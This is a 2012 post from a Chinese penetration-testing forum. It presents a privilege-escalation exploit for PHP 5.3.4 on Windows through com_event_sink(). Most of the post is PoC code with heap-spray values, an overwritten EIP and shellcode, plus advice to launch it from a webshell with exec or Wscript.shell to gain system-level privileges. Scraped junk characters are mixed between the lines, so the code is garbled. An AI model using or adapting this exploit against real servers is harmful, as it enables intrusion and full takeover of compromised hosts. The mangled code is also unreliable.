中国网络渗透测试联盟
标题:
PHP 5.3.4(WIN) COM_SINK权限提升漏洞
[打印本页]
作者:
admin
时间:
2012-11-9 21:08
标题:
PHP 5.3.4(WIN) COM_SINK权限提升漏洞
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
+ B M* c5 _; o
V2 t" Z# ?9 k3 t+ x! E6 ^2 _
测试方法如下:cmd /c x:\php\php.exe x:\test.php
: |& p! g9 v( `
- s) G2 H" C. W: ?* @3 K9 U3 B
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
, G; p6 G$ h' h C7 Q
这里是两个测试的截图:
' s K+ L/ o) B8 l$ |0 f
" @9 J- X4 z& y9 `3 G
" d/ F |: {5 T5 w0 A
8 R* e3 Y: C }( J' s* _+ o
. k. k+ L. l8 T8 w
4 _8 v" A+ t! S( S% h
成功利用此漏洞的攻击者将获得系统的最高权限
W- U2 u e+ d6 W9 K) W+ }
# @+ ]- Y- l: n" o
/ c4 z5 k! L L# T3 K
x/ [, T1 {. U d( u
$ A4 Y" R, L$ X9 @, W
7 [- y* [$ _( }
关于漏洞分析稍后附上。一下是PoC代码:
q4 @) N7 n4 {( K& _
9 R" k5 K! i, U- q# l% ?
<?php
% ]) ?3 Q8 L; e, Y; U1 J
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
1 {- H* m4 s; @# K5 o/ R, h& }
//$eip ="\x44\x43\x42\x41";
/ k: c8 l' L8 |1 @- Y- e
$eip= "\x4b\xe8\x57\x78";
% A+ y- w; H" I8 s/ r' c/ _
$eax ="\x80\x01\x8d\x04";
1 J, c4 x* Q) J3 n
$deodrant="";
& r, p. c* q/ ]' q* {; @9 X
$axespray = str_repeat($eip.$eax,0x80);
5 P+ X: E: K g9 ]) c
//048d0190
8 ^2 z/ c: i1 V
echo strlen($axespray);
/ ~, S2 f: N% P, p6 _' ?
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
# D* Q- K; f0 E# x" v4 X/ U9 x9 l5 L
echo "Silic Group Hacker Army - BlackBap.Org";
3 E) E# A1 q$ Z3 m$ U' @6 z5 C
//19200 ==4B32 4b00
/ }9 V& c3 O+ ~/ g. t
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
3 r! @# Q4 M* [8 A
$terminate = "T";
: h" b! T- [5 _$ e9 h3 t0 O5 P
$u[] =$deodrant;
, p$ x w) Q6 o& F. _
$r[] =$deodrant.$terminate;
- o; t0 c/ D% ^5 Y
$a[] =$deodrant.$terminate;
# f5 s' \+ B7 ~( f# I, K
$s[] =$deodrant.$terminate;
5 O( B: M5 S( x2 p5 `) O0 B
//$vVar = new VARIANT(0x048d0038+$offset); 这里是可控可改的
1 B- G. M- x( K. p, ?( f: w9 |# s% Q
$vVar = new VARIANT(0x048d0000+180);
5 N$ w+ x5 ^) b" X& i
//弹窗代码(Shellcode)
; }- @) h9 H# S( Q; D
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
0 \8 \5 f+ q* L. C1 Y0 x
$var2 = new VARIANT(0x41414242);
1 X0 ~/ B! y9 P1 e# l
com_event_sink($vVar,$var2,$buffer);
9 l9 b( s7 Q. L- Z
?>
" t) |! o0 h' S$ t5 F5 a0 o8 _
[attach]113[/attach][attach]114[/attach]
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2